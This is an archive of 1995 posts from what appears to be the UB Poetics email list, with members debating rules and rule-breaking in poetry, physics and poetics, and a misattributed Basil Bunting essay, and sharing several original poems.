&, hey, watch who you go calling a poet, especially around here. I don't want to have any rumors starting.

Bests

Herb Levy
[redacted]

↑ Index

230. R.I.Caddel @ durham.ac.uk
Mag-u-like
Fri 16 Jun 1995

As a librarian I suffer from information overload so tend not to read too many "general" mags on a regular basis (in the UK so many of them are just packaging jobs anyway), just specifics in a different field. BBC Music Magazine Earthcare (because it's there) The European (bi-weekly with really eccentric sports coverage) The Gramophone New Scientist Private Eye and World Wildlife are in the recent scan pile.

Different field: The Ecologist European Access European Urban and Regional Studies Musical Quarterly The Strad, again, recent scans.

And some from the world of lit: Fragmente (new issue just out, ed. Anthony Mellors, English Dept, Durham University, try the new poems by Harriet Tarlo, Tony Lopez, Peter Middleton etc). Object Permanence (new issue due July, ed. Peter Manson Flat 3/2 16 Ancroft St Maryhill Glasgow G20 7HU). Mandorla (ed. Roberto Tejada was through Durham last week, his address Apartado postal 5-366 Mexico DF, Mexico 06500) nice-looking bilingual

Spanish/English job. And although I can't read it I do enjoy scanning: Literatura na Swiecie (ed. Piotr Sommer, ul. Zgoda 9m.42, 00-018 Warsaw). All in Polish, carefully produced translations of world writers from a national and ideological range which wd certainly lead to a great fight were they ever to have a L.naS christmas party...

"learn the rules then break them" I like -

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

231. **Jim Leftwich**

Re: Think the Reverse

Fri 16 Jun 1995

Charles,
I wrote this about a year and a half ago. It'll be in the next issue of TEXTURE.
The rule is "thou shalt not steal".
Jim

IN MEDIAS RES

The mere word 'freedom' is the only one that still excites me. The verb to be admits the assertion. I don't believe in automatic writing either as a literal possibility or as a utopian or propagandistic literary value. There is no such place as the economy, the self. And if anything, the kind of 'dream logic' juxtapositions that characterize much surrealistic work seem to me a candied souping up of traditional literariness, especially in so far as has been drawn upon in so much post-war American poetry (of what has been called 'the bird flew through my pillow' sort). This is the right occasion to recall that the unconscious that all true poetry calls upon is the receptacle of original relationships that bind us to nature. This is not a sentence. The words merely crawl across the page, leaving a trail of syntax. It is not the sky we mean, but the past, a non-existent wall. Everything happens as though, prior to the secondary scattering of life, there was a knotty primal unity whose gleam poets have honed in on. Yet the narrative crosses the garden, cool and damp. I guess it's a certain kind of depth of field that surrealist eery dreaminess highlights that I would prefer to see diminished or framed. Little nicks in the silence come to a period. Within us, all the ages of mankind. Within us, all human

kind. Within us, animal, vegetable, mineral. To try and tell a story is to make a purgatory of the real. Mankind, distracted by its activities, delighted by what is useful, has lost the sense of that fraternity. These words scratched my way slowly into existence. Clarity is an effect operating on the reader that has more to do with hypnosis than understanding. The purpose of the work was the transformation of the worker. No such thing as a phrase. The earth, draped in its verdant cloak, makes as little impression upon me as a ghost. I have no conception of what I have to say which I then want to put into writing. The writing itself shows me what I have to say, and it's always news to me. I use chance as a discipline, to free my mind, my ego, from my likes and dislikes, so that I can flow with a larger set than I comprise. The idea of getting all the material in a poem totally 'spontaneously' from my 'self' seems boring to me - my interest in writing is to be able to incorporate material from disparate places. The image is a pure creation of the mind. It is living and ceasing to live that are imaginary solutions. Insist on what's present (broken glass, nearly powdered) - a drunken man, half-sleeping, at the feet of two cops. Crushed plastic orange juice bottle - there's no horizon in a tunnel. Existence is elsewhere.

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232. Jorge Guitart
material from disparate places
Fri 16 Jun 1995

---

material from disparate places is written by me (by the me that is me --or, sometimes, i) so, what is not me that i write? (answer: nothing)

↑ Index

233. Carl Lynden Peters
Mail List: Concrete
Fri 16 Jun 1995

---

as some of you may know, cris cheek has attempted to put together a mail list for discussions on visual/concrete and sound poetries. he recently noted to me that he is without a system which receives and forwards posts to a group (apologies for lack of technical language here -- i'm new to all of this); however,

i've talked with some people here at sfu and it's possible to establish a mail list which would focus on this form of poetry. based on my few exchanges with cris, i am aware that there is an interest for this. so, to take this one step further, anyone interested in being a part of a discussion group on visual/concrete poetry please let me know via back-channel. if the interest in there there is certainly no problem in proceeding. perhaps one of the issues which can be

explored here in regards to this poetry is poetic collaboration on the net... i know there has been some interest expressed in that of late

best to all,
carl

[redacted]

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234. Loss Glazier
News Flash
Fri 16 Jun 1995

The July issue of _Internet World_ p. 112 lists the EPC as the "major poetry list." Though they got Poetics and the EPC slightly confused; it's interesting that we're mentioned in the "big" press.

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235. Steve Carll
Re: News Flash
Sat 17 Jun 1995

Loss Glazier informs us:

> *The July issue of _Internet World_ p. 112 lists the EPC as the "major poetry list." Though they got Poetics and the EPC slightly confused; it's interesting that we're mentioned in the "big" press.*

I thought this list was supposed to be a SECRET. Who squealed? :-)

Steve

↑ Index

236. Thoreau Lovell
Re: material from disparate places
Sat 17 Jun 1995

". . . by the me that is me--or, sometimes, i . . ."

SOMETHING NEITHER VIVID NOR CONCRETE

"I wish to speak to the real self
the one holding the pencil awkwardly.
But you write with a fountain pen
says the argumentative father in the brain.

Or is it in the mind? Oh I prefer the heart.
The brain is the one with the wires.

The mind is an onion.
The heart looks like a Valentine.

How am I supposed to know, is the question
put to us by the son, who speaks for the father
Who is asleep, Dummy, says the son, and the sawdust

shifts to the wrong side of the head
which awakens the father, who is rational
yet says in a pipe-in-the-mouth voice,
'One never knows,'

recalling as to how the search for the real onion
(peeling and peeling) made him cry."

To the real "Guitart," it was a joy to discover this and other of your poems in the 1986 Anthology of Contemporary Latin American Literature, 1960-1984 (ed. Luby and Finke).

Thanks!

TL

^^^

So check out those bargains in the alternative CanLit section of your local book store today.

Herb Levy
[redacted]

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238. Loss Glazier
Re: News Flash
Sat 17 Jun 1995

> *The July issue of _Internet World_ p. 112 lists the EPC as the "major poetry list." Though they got Poetics and the EPC slightly confused; it's interesting that we're mentioned in the "big" press.*
>
> *I thought this list was supposed to be a SECRET. Who squealed? :-)*

Actually, we're still in the clear! They didn't give out the Poetics address, only the e-poetry address (which subscribes one to RIF/T and related publications)...

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239. Steve Carll
Re: material from disparate places
Sun 18 Jun 1995

Thanks for the poem, Thoreau. Reminds me of "Borges and I" (you know, the one by Borges). Writing seen as a kind of extremification of the experience of identity moving through vastly different spaces in the psyche, yet somehow maintaining a thread of unity (Amazingly.) Or sometimes not. A kind of Multiple Personality Order.

Steve

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240. beard
Re: Think the Reverse
Sun 18 Jun 1995

think esrever eht, break dem rules, what rules? what thinking? think? anarky rools / wiv an iron fist, orright? write a sonnet of 20 lines, claim this is due to inflation, wot, theft against the law, I swear officer i never knew; but listen up, my dog was silent for 5'42", a record? a recording I'll market as _JC, the extended remix_, so learn 'em & break 'em, break 'em & make 'em, floating smoothly with a Waterman, where was I? question mark at the end, is that a rule. I wish I was mad againe, worst than that, much wurst (yes pleaze, w/

relish, ooh u r offal (but i like u) gut level, not spirit level)) in - what? they're meant to add up? honest officer i &c... but start again (agin) w/ a peaceful innovation, AWOL from th avant-garde (a military term), another cuppa candy soup, vegetable soup, animal, mineral in point-of-fact (Point-of- Fact, Essex; ostensibly near Clacton-on-Sea, but really (Real) near Pontefract, actually) where we say "reverse of what (tahw)? Whatya rebelling against Charlie?" "Don't tell me whaddya got" riding off into the duststorm in his leather tux ...

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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241. Marisa A Januzzi
Re: name calling
Sun 18 Jun 1995

Contriving Lush Whatever

Hi everyone; I've been saving this clipping for you electric entities for three days now:

Karen Finley's doing Martha Stewart in nightclub performance

"'I won't actually play Martha,' she said yesterday [to a New York Times guy], 'but I will take her spirit and go over the top with it.'"

There's also a book involved, but I'm thinking it can't be better than the one about cats who paint.

---Marisa

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242. Tony Green
Re: Think the Reverse
Sun 18 Jun 1995

There are rules as prescriptions, which in the arts are never better than rules of thumb for tiros -- knights before bishops, castle early -- , these are broken commonly and necessarily as occasion demands. Occasion's demands get met by what though --- a routine consideration of known options accumulated from other seemingly like occasions? That's the hidden face of accumulated internalised rules of procedure called experience?

The rules problem is at its worst in the first formulations of academies, especially where it is recognised that no rules can meet every occasion. Our common (on this lists recent posts anyway) unwillingness to countenance rules is like the familiar cry of Romantics faced with the authority of academies in the 18/19th centuries, all hardened up for us by Modernist revolts. Rules are maybe now not so important as knowing strategies for working with writing and publishing. That's often an interesting matter for this list. But how to write how to read how to de-stress how to bring up your baby how to deal with any number of problems on the non-fiction shelves is all to do with finding rules with allowances for occasional individual variations: the usual foundations of a discipline. Teachers get stuck with it easily. "Give us a rule so we can please you to get good grades". I have students who complain that I "set essay topics" that are too broad and leave too much freedom of choice. I should be more "directive". The answer could be not rules, but motivation. "Once you know what you want, maybe you can think of a way to get it". I like thinking the reverse, obverse, perverse too.

If your organs were available for easy transfer to another, and you could choose, would you offer parts in the personal column of the local paper, or go down to the supermarket and offer, say, your brain, to a casual passer-by that looks like they could use it? This is a perplexing topic that I discussed with a friend at the weekend. Anyone who could draw up rules for this situation please advise.

↑ Index

243. Charles Alexander

Re: Think the Reverse

Sun 18 Jun 1995

---

what rules?

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

244. maria damon
Re: Think the Reverse
Sun 18 Jun 1995

In message <[redacted]> UB Poetics
discussion group writes:
>
>
> If your organs were available for easy transfer to
> another, and you could choose, would you offer parts in the personal
> column of the local paper, or go down to the supermarket and offer,
> say, your brain, to a casual passer-by that looks like they could use
> it? This is a perplexing topic that I discussed with a friend at the
> weekend. Anyone who could draw up rules for this situation please
> advise.

in high school i wrote a short story about a guy who, believing himself the ultimate philanthropist, gave away his body parts one by one to deserving individuals in need, replacing them with mechanical parts (he was rich enough to do this medically, but thought simply giving money away a "cheap" sort of philanthropy). he believed that as he physically became more mechanical, he was in fact --metaphysically, though of course i didn't use the term at the time -- becoming more "human," in the sense of "humane," --more of a mensh, which, of course, means person. the writing wasn't that good (telos/theme driven) but i still think the idea's kinda cool. --md

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245. Tony Green
Re: Think the Reverse
Sun 18 Jun 1995

Hi M a r i a, given the difficulties and perhaps serious
disaadvantages that my friend and I work
under (regarding brains), we were
not sure that the offer of them as
spare parts to others would be
philanthropic: but it is more than
a little interesting that your giver-figure made a sacrifice that was
not a sacrifice and regarded what he was giving up as of useful
significance. We were thinking perhaps more of exchanges. I will
relay your reply to my friend, Pamela Honum who is not
on e-mail. Thank you for the information. I'd love to see the story.

↑ Index

246. **Steve Carll**
Re: Think the Reverse
Mon 19 Jun 1995

>what rules?
--charles alexander

you rule, dude. Huh-huh, huh.

Steavis

↑ Index

247. **Jorge Guitart**
rules and reverse thinking
Mon 19 Jun 1995

---

i have news for you: rules are disappearing everywhere, even from linguistic models. there are no syntactic rules anymore: only 'constraints'.

↑ Index

248. **Sheila E. Murphy**
Re: rules and reverse thinking
Mon 19 Jun 1995

In the spirit of adhocracy, arbitrary contructs offer useful tension while we're making something. Left to ossify, these things get pointed at as funny fossils. And only contribute in the past. For the one who used them.

Back to the old absolute versus relative thing!

SEM

↑ Index

249. **Herb Levy**
Re: rules and reverse thinking
Mon 19 Jun 1995

> *i have news for you: rules are disappearing everywhere, even from linguistic models. there are no syntactic rules anymore: only 'constraints'.*

you there:
syntactic rules,
rules only no news.
models: linguistic
i have for from everywhere
even disappearing

constraints are
'are' anymore.

↑ Index

250. Shaunanne Tangney
Re: rules and reverse thinking
Mon 19 Jun 1995

On Mon, 19 Jun 1995, Herb Levy wrote:

> *i have news for you: rules are disappearing everywhere, even from linguistic models. there are no syntactic rules anymore: only 'constraints'.*
>
> *you there:*
> *syntactic rules,*
> *rules only no news.*
> *models: linguistic*
> *i have for from everywhere*
> *even disappearing*
> *constraints are*
> *'are' anymore.*

Hi. New to this list, and it seems traditional to at least say hi.
That done:
Buckminster Fuller writes:

In short, physics has discovered
That there are no solids,
No continuous surfaces,
No straight lines;
Only waves,
No things,
Only energy event complexes,
Only behaviors,
Only verbs,
Only relationships.

I like that. I like physics. Physics makes theory into art--or maybe I mean to say art out of theory. . . which is what I am currently trying to do w/ my own poems--including working on a "love" poem out of the above. In physics, the rules are the art, and I shudder at the thought of losing such precious babies hastily tossing out any bathwater. . .

good to be here on this provocative list--
ShaunAnne

↑ Index

251. **Burt Kimmelman**
Re: rules and reverse thinking
Mon 19 Jun 1995

So, Chaos theory? A poetics of Fuzzy Logic, say?

Burt Kimmelman
[redacted]

↑ Index

252. **Carl Lynden Peters**
Re: rules and reverse thinking
Mon 19 Jun 1995

---

i remember in art school they always told us: "learn to draw before you abstract." i always hated that. i felt there were other ways of drawing, that what was important (at least for me, then -- and now) was process, the knowing&unknowing of the act, the moment of the act of doing and undoing. it's taken a few degrees but i think, for the most part, i've gotten rid of that rule, ironically: "learn to draw before you abstract." reading and poetry had a lot to with that -- saving me... ...i mean. to learn to draw i learnt to write

when i went to graduate school i worked with a professor who taught drawing and sculpture. one semester in a drawing course he gave he wouldn't let anyone _draw_ -- that is, _draw_ with pen or pencil on paper, nothing like that. what they did was for the whole term they just talked about drawing, and they studied the etymology of the word. he was adament abt this, too, because if he noticed you "regressing" and starting to draw he'd fail 'ya! no one failed. fact, i think he gave everyone all _A_s. well desrved, too. i saw their work in an exhibition at the close of the year. it was stunning!

best,
carl

↑ Index

253. **Kevin Killian**
Re: rules and reverse thinking
Tue 20 Jun 1995

> *In message <[redacted]> UB Poetics discussion group writes:*
> *So, Chaos theory? A poetics of Fuzzy Logic, say?*

> *Burt Kimmelman*
> [redacted]
>
> *oooh, let's be a little more friendly to first-time posters on the list, okay bro?--*
> *maria*

It's funny, Maria, but I didn't suspect that Burt's post was unfriendly. I guess chaos and fuzzy logic are okay by me.

Dodie

↑ Index

254. **Edward Foster**
Re: Think the Reverse
Tue 20 Jun 1995

---

and, to say it again, who?

↑ Index

255. **Edward Foster**
Re: rules and reverse thinking
Tue 20 Jun 1995

---

hey, tho, doesn't "constraints" sound even worse than "rules"?

↑ Index

256. **maria damon**
Re: rules and reverse thinking
Tue 20 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:
> So, Chaos theory? A poetics of Fuzzy Logic, say?
>
> Burt Kimmelman
> [redacted]

oooh, let's be a little more friendly to first-time posters on the list, okay
bro?--
maria

↑ Index

257. Jorge Guitart
as a rule
Tue 20 Jun 1995

to [redacted]

as a rule i am not constrained enough to respond.

↑ Index

258. Jorge Guitart
the new physics poem
Tue 20 Jun 1995

one problem with the new physics poem is that you cannot use the word 'only' because it doesnt qualify as a verb so you cannot have a new physics poem with the line 'only verbs' and that is too bad because it would be nice for new physics poems to be self-referential just like most other old physics poems.

but ShuAnn i do want to see your verb-rich (straightline-poor) love poem.

↑ Index

259. R.I.Caddel @ durham.ac.uk
The Written Record...
Tue 20 Jun 1995

The Written Record...

Evidence brought to light in April this year by Andrew Crozier (University of Sussex) now demonstrates that the essay published by the Basil Bunting Poetry Centre under the title of _The Written Record..._ is not in fact by Basil Bunting, but by "Roger Kaigh", the pseudonym of Louis Zukofsky's friend Irving Kaplan. The essay is concerned with the unreliability of the written record... Dr. Crozier will publish his work on the origins and ascription of this paper in due course; meanwhile the Directors of the Bunting Centre issue this statement to avoid further confusion.

The essay was purchased, together with a group of papers by Bunting, Zukofsky and others, from the Bunting estate in 1988. Its initial identification was made by Peter Makin, Peter Quartermain and Richard Caddel at that time, on the strength of the circumstancial evidence of its discovery, and its contents. Any confusion caused by this premature judgement is very much regretted. The essay has been available in the Basil Bunting Poetry Archive - where it has been consulted by numerous Bunting and Zukofsky scholars - since 1988, and since March 1994 it has been

available in published form in the Centre's publication _Three Essays_. At no time has its ascription been queried.

We are therefore grateful to Dr. Crozier for identifying the piece as "Paper" by Roger Kaigh (referred to and quoted from by Louis Zukofsky in his own essay "American Poetry 1920-1930"), and for his work on the Kaigh/Kaplan-Zukofsky connection. It still remains a matter of conjecture how the piece, without its title page, or any authorial statement, came to be in Bunting's possession, but its importance to him - demonstrated in the other pieces in _Three Essays_ - is evident.

We are pleased that the piece has now been correctly identified, and that an important unpublished paper which had been thought lost is now identified and accessible. We are of course also eager to contact Irving Kaplan or his heirs at an early stage.

Richard Caddel / Diana Collecott
Directors
Basil Bunting Poetry Centre
University of Durham

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260. I.LIGHTMAN
Re: rules and reverse thinking
Tue 20 Jun 1995

It was really good (to my eyes) to see ShaunAnne's introductory message, and its reference to and quotation from Buckminster Fuller. ShaunAnne, are you a Bucky fan? I am. Does anyone on the list read his poetry, or interest themselves in his importance to poetry? Zukofsky, I know, cited his work, as did John Cage. Anyone know any other examples? (oh, also, anyone interested in the slightly hushed-up aspect of Fuller's enthusing about marriage and relationships but in fact being a philanderer - as he admits in an interview in Martin somebody's book on him - that is, that Fuller didn't, unusually for him, incorporate his *practice* in the area of sexual relationships into his general *theory*, but still talked as if he believed in (and practised) monogamy, as if monogamy was more aligned to his *theory* than polygamy...)

Anyway, I for one want to welcome ShaunAnne to the list,

Ira

↑ Index

261. Jordan Davis.
thinking in reverse
Tue 20 Jun 1995

Not to take an oblique tack on this issue (which I think started out as a spanking of someone for the ((incomplete)) tag at the end of their message and not as a response to a question-- a _very_ Stalinist move, I thought, Charles) but rather than ignore everything and hope that by so doing we won't have to learn anything, might it not be more pleasing to make up or misunderstand the "rules"? and then break them? Subversion instead of revolution....

Just a nutty idea
Jordan

↑ Index

262. Shaunanne Tangney
Re: rules and reverse thinking
Tue 20 Jun 1995

On Tue, 20 Jun 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics discussion group writes:*
> *So, Chaos theory? A poetics of Fuzzy Logic, say?*
>
> *Burt Kimmelman*
> [redacted]
>
> *oooh, let's be a little more friendly to first-time posters on the list, okay bro?--*
> *maria*

oh, no! I loved it! And reply yes!
I have written a poem called "Chaos Theory" and it is all about mysterious attractors and other fuzzy things!

Best,
ShaunAnne

↑ Index

263. Shaunanne Tangney
Re: rules and reverse thinking
Tue 20 Jun 1995

I am here replying en mass to all who welcomed me and sallied forth on the issue of physics/poetry.

No, I don't read B. Fuller, as of yet! Looks like I should. However all of this will have to wait as I am currently studying for comps!

I like the thoughts re: only not qualitfying a verb, and that why can't new physics be self-referential as was old physics--I ask in return, can anything be self-referential in the pomo, that is, to my mind, the here and now? Some might argue that we can only be self-referential. . . I'm interested in anyone's thoughts here.

I also think of Calvin (of comic strip fame) "verbing" words (like when you send something in any big city via bicycle messenger, you "messenger" it)--this seems distinctly pomo. I see the pomo as distinguished by a sense of timelessness; hence, verbing words seems so very appropriate.

Also connecting physics and poetry. . .
But now I'm soapboxing. . !

Finally, several expressed interest in seeing the poem, but I do not know the etiquite on this list. Do we post actual poems and discuss them, or just [poetics in general? I'm game for either, but do not want to upset the format here!

Thanks for the warm welcome, all!
ShaunAnne

↑ Index

264. Burt Kimmelman
Re: rules and reverse thinking
Tue 20 Jun 1995

the Martin [somebody] is probably Martin Duberman and his book about Black Mountain. But see also a decades later study of Black Mountain by, her name escapes me--more up to date and filled with great detail, and gorgeous to look at.

↑ Index

265. H. T. KIRBY-SMITH
rules
Tue 20 Jun 1995

Music resembles poetry, in each are nameless graces which no methods teach and which a master hand alone can reach. If, where the rules not far enough extend (since rules were made but to promote their end) some lucky license answer to the full the intent proposed, that license is a rule.

In other words, make up your own rules.

Don't worry too much about breaking them. Someone else will take care of that. Something there is that doesn't love a rule.

By the way, is the rule when reading Olson that I have to draw a breath inward every time I drop down a line? Is the dizziness that results from hyperventilation when this is tried supposed to be part of the poem? Is it permissible to break Olson's rules while reading his rule-breaking poetry? Or is that against the rule?

Sometimes it is hard to get clear answers. I once asked a specialist in Shelley's "Prometheus Unbound" what it was all about. The reply was, "I cannot answer that question in the face of obvious hostility."

It was Shelley who set us all going about rules. "Poets are the unacknowledged legislators of the world."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

266. Tony Green
Re: rules and reverse thinking
Tue 20 Jun 1995

Carl Lynden Peters comments on learning "Drawing" before doing "Abstraction" are echoed throughout a cautious middle-ground view of artists like Picasso who learnt academic practice "the rules" BEFORE going off the rails. Is Gertrude Stein some poetic equivalent, learning the rules of syntax BEFORE writing unpublishable "distortions".

A painter friend claims to have avoided art school drawing practice "from the model" from the very beginning, knowing that what he wanted to do was make "abstract painting". Nobody has ever seemed to notice that he was disadvantaged by the lack of "drawing". His work, however, has always been

located within the "abstract" tradition, i.e.the governing principles, or Rules, that could be ellicited from the study of early modern abstraction (or later versions of same, say 1960's-70's abstraction). Syntactic variation of standardized communication patterns of syntax in writing has, as most people on this list will know, a history or tradition.

Rool brae king's a
ploy wivorfforitie? It

could come in handy when the authority is an imposition
of a power one cannot respect, an invitation to others to
recognise the actual conditions of writing, opposing freedom
to constraints, breaking bonds, and in turn establishing
bonds, seeming to oblige the next generation to go on breaking
old bonds in the
same way (as per the not so long ago debate between so-called
G1 and G2)

What, asked my daughter, in the car this morning, in the thick of the rush-hour traffic, is a Goody-Goody Two Shoes? I thought to answer by taking a short cut on the footpath and cut back into the line some 500 metres further along (but did nothing of the sort), continued to creep along at 10 k p h

Arriving too stressed out to prepare a lecture I sit here writing to the List instead.

Good mornings begin without Gillette: I'm letting my beard grow.

love

↑ Index

267. Tony Green
Re: rules and reverse thinking
Tue 20 Jun 1995

---

fuzzy logic or something all around my chin

↑ Index

268. maria damon
Re: rules and reverse thinking
Tue 20 Jun 1995

In message <[redacted]> UB
Poetics discussion group writes:
> On Tue, 20 Jun 1995, maria damon wrote:
>

> > In message <[redacted]> UB Poetics discussion
> > > group
> > writes:
> > > So, Chaos theory? A poetics of Fuzzy Logic, say?
> > >
> > > Burt Kimmelman
> > > [redacted]
> >
> >
> > oooh, let's be a little more friendly to first-time posters on the list,
> > okay
> > bro?--
> > maria
> >
>
> oh, no! I loved it! And reply yes!
> I have written a poem called "Chaos Theory" and it is all about
> mysterious attractors and other fuzzy things!
>
> Best,
> ShaunAnne

okay, cool. welcome to the list.--md

↑ Index

269. **maria damon**
gates's sob
Tue 20 Jun 1995

---

what do you all think of skip gates's piece "sudden def" in the latest new yorker (latest at least given the minnesota time lag i suspect plagues me, since people in nyc were calling saying, you gotta read this a full week before it appeared in my mailbox). i've got some reactions but wanna hear you-all's before going full throttle. maria

↑ Index

270. **beard**
Re: rules and reverse thinking
Tue 20 Jun 1995

> *i have news for you: rules are disappearing everywhere, even from linguistic models. there are no syntactic rules anymore: only 'constraints'.*
>
> *Only relationships.*

> *I like that. I like physics. Physics makes theory into art--or maybe I mean to say art out of theory. . . which is what I am currently trying to do w/ my own poems--including working on a "love" poem out of the above. In physics, the rules are the art, and I shudder at the thought of losing such precious babies hastily tossing out any bathwater. . .*

Words like 'constraints' and 'relationships' sound very much like rules to me. Yes, physics is all about rules - whether we discover the rules that govern the universe, or create rules to make useful predictions about our sense-data - whichever way you look at it, we are looking for rules. That's what intelligence is for.

Language is all about rules too - grammar, syntagmatic/paradigmatic relationships, denotations, connotations (a meaning doesn't have to be in the dictionary to constitute a rule of signification), genres, rhymes schemes. The very fact that at least some of you (I hope) have some idea of what I'm talking about means that we share some of these rules.

In creative writing, we are free to choose whatever rules we want for our work, and them break them as we feel fit. Go ahead, write a sestina with one word on each line (Dinah Hawken), an elegy consisting of a question with no question mark (W.S. Merwin), a haiku that doesn't follow the 5-7-5 rule (just about everyone). Your poem can gather up the tension that comes from straining against its structures, and use it to its advantage.

There's no-one standing over you with a big gun, saying "thou shalt write in iambic pentameter". At least, I hope there isn't. If there is, it's time to inquire into what purposes (aesthetic, political, cultural, inertial) those rules are serving. You may find the rules useful. You may want to challenge them. Either way, you have learnt something.

We are subject to rules whenever we speak or act. It's to our advantage to understand those rules, via theory, reading and/or experimentation. Then: follow them, bend them, break them, change them, subvert them, or some combination of the above. Unless we understand the rules, we will not have these options.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

271. Charles Alexander
Re: rules and reverse thinking
Tue 20 Jun 1995

Tom , you talk of sestinas and haiku and elegies and that's all fine. When I said "what rules?" I meant to imply that no one is obliged to follow such defined forms, even though the departures from the farm may be what ignites the poem. One can, of course, and such poems can be dynamic. But I often find that the work I read again and again makes its own structures, so that part of the joy of reading is finding such structures, including how and when and why they are followed and not followed. But when is making it up oneself, it is difficult to think of the structures and forms one invents as rules or constraints, rather they seem more like methods or even, forbid, poetics.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

272. Charles Alexander
Re: rules and reverse thinking
Tue 20 Jun 1995

By all means post poems. My own experience is that there may be just a little, or no response at all, on the list, but usually a bit more response off-list or back channel. Not much response to poems when they are posted on the list, although such postings happen now and then. I don't know why such reticence follows poems. Still I get the sense the postings of poems is appreciated by many people on this list.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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273. Tony Green
Re: thinking in reverse
Tue 20 Jun 1995

Dear Jordan, what you suggest is really useful (about
misunderstanding rules and then acting on them). In
lower ranks of administrators this is often called for as defence
against insane seeming instructions from on high, and may
be called Creative Administration. Indeed it can be subversive. I'm
glad to hear this valuable tactic brought to public attention.

Best

↑ Index

274. Reginald Johanson
rules and reverse thinking
Tue 20 Jun 1995

I want a devotional poem; faith ecstatic loss in divinity

beyond difference not I but neti neti sketching negative space

useless poems sopping beer on the last bar before leaving

a stinking saddhu in diapers and hair no pen or paper only water

mantric and outside and hostile and immune and no grinning

and nothing to say in the cave merely barking Siva Siva Siva

not even listening in the dark to the rock bark it back

it's quits with Krishna Krishna Krishna with the milk on his chin

a cobra snake for a necktie and a chimney of skulls

cringing peasants piling rice and bananas at the mouth

waiting not for oracles for rewards for blessings just waiting

not as consumers critics supplicants doctors of philosophy

just waiting itself without expectation or meaning

woithout questions collecting decollecting recollecting

one saddhu among uncountable one cave among uncountable

common as god among uncountable gods in the wink of a Brahma

one Brahma among uncountable and back and back and back and back

and desire folding petals into the belly of Vishnu

↑ Index

275. Carl Lynden Peters
Re: rules
Tue 20 Jun 1995

> *By the way, is the rule when reading Olson that I have to draw a breath inward every time I drop down a line? Is the dizziness that results from hyperventilation when this is tried supposed to be part of the poem? Is it permissible to break Olson's rules while reading his rule-breaking poetry? Or is that against the rule?*

--what abt intention: Olson's intention that the poem be read that way (i.e., the breath line). would that constitute a rule?

best,
carl

↑ Index

276. Shaunanne Tangney
Re: rules and reverse thinking
Tue 20 Jun 1995

On Tue, 20 Jun 1995, Charles Alexander wrote:

> *By all means post poems.*

OK, here goes (this is the one after the Buckminster Fuller quote I posted to this list previously):

NIGHT SWIMMING

we do not surface

for now we let it
rest between us

heavy and massive but
we could not lay

our cards upon it or our
bodies upon it

it goes without measure we like
to say it is

beyond measure but
without line or plane it is

merely measureless
measure is within

periodic disturbances
voluntary movements

body against body
gravity and light

energy seeking
body seeking body

seeking energy freed
from itself we are

only behaviors
only verbs

measure is within
without the selfish center

without the thin skin
of past and future

time and space we are
only relationships

from here the stars
seem to shiver and so

we surface

(May, 1995)

↑ Index

277. maria damon
Re: rules and reverse thinking
Tue 20 Jun 1995

In message <[redacted]> UB Poetics discussion group writes:
>
even though the departures from the farm may be what ignites the poem...
>
> charles
>
 bright lights big city! especially in the pastoral tradition, don't you think,
where, like stein in paris, it takes a deracination to ignite the language...
nice, charles. sorry i missed the other evening. how was it? i think a reply
over the net (not backchannel) might actually be welcome since describing

poetic
events seems to be something we do well here and enjoy reading about --best, maria

↑ Index

278. Sheila E. Murphy
Re: rules and reverse thinking
Tue 20 Jun 1995

ShaunAnne,

Poems get posted all too infrequently, and I've gone on record (sounds a bit too rulesy!) as one who'd like to see MORE of 'em.

So post away! Would love to see your poem.

And welcome!

Sheila Murphy

↑ Index

279. Chris Stroffolino
Re: rules and reverse thinking
Wed 21 Jun 1995

It's hard to tell if Reginald Johnson's poem is a parody of the ethnopoetic kind of mode or an attempt to accept its tonal and vocabulary (and ideological, sorry!) premises--- I say this especially in reference to his "it's quits with Krishna Krishna Krishna" which seems to undercut the seeming celebration of such Eshelmanisms the poem elsewehere flaunts, presumably, shamelessly----chris stroffolino

↑ Index

280. Jordan Davis.
skipping def
Wed 21 Jun 1995

Maria
I find I've been reading the New Yorker a lot lately too.
I liked Holman's reaction to Ginsberg's optimism.
As usual I got something from the minuscule bits of poetry that were screened through the prose.
The piece really reminded me of the kind of profile Rick Rubin (name?) used to get when rap was new and Def Jam didn't have comedy installed in its middle yet. I.E. there are these black performers and they're all right but

let's talk to the promoter, the mastermind. I _like_ Bob Holman. I just thought it was a curiously journalistic piece.
Jordan

↑ Index

281. Loss Glazier
Re: Fuzzy Logic Poetics
Wed 21 Jun 1995

To me, the term "a poetics of fuzzy logic" is less than appealing. The reason is that the word "logic" in the phrase, resonant of "logical," implies that there is some desired goal. (Isn't fuzzy logic _in part_ used to help you, say, find information when you don't quite know what you are asking for?) "Fuzzy" also implies a lack of precision, which I do not think is a fair critique of a poetic text.

Another distinction is very important. In my writing about this topic, I have always distinguished between "closed" hypertextual systems (a diskette for example and a program specifically used to run the hypertext) and an "open" system, say such hypertextual works as occurring on the Net, where the software is "generic" and the "peformance" or presentation of the work can occur in multiple situations.

As to whether a reader has access to the full lexia; depending on the designer of the system (aka writer) this is not a matter of chance, but squaring off to some of the assertions made by Landow and others, it is a matter of the author's _intention_. Yes, such an intention persists. What the text does allow is multiple possible readings; the degree of this multiplicity is in the author's hands (and partly in the software's).

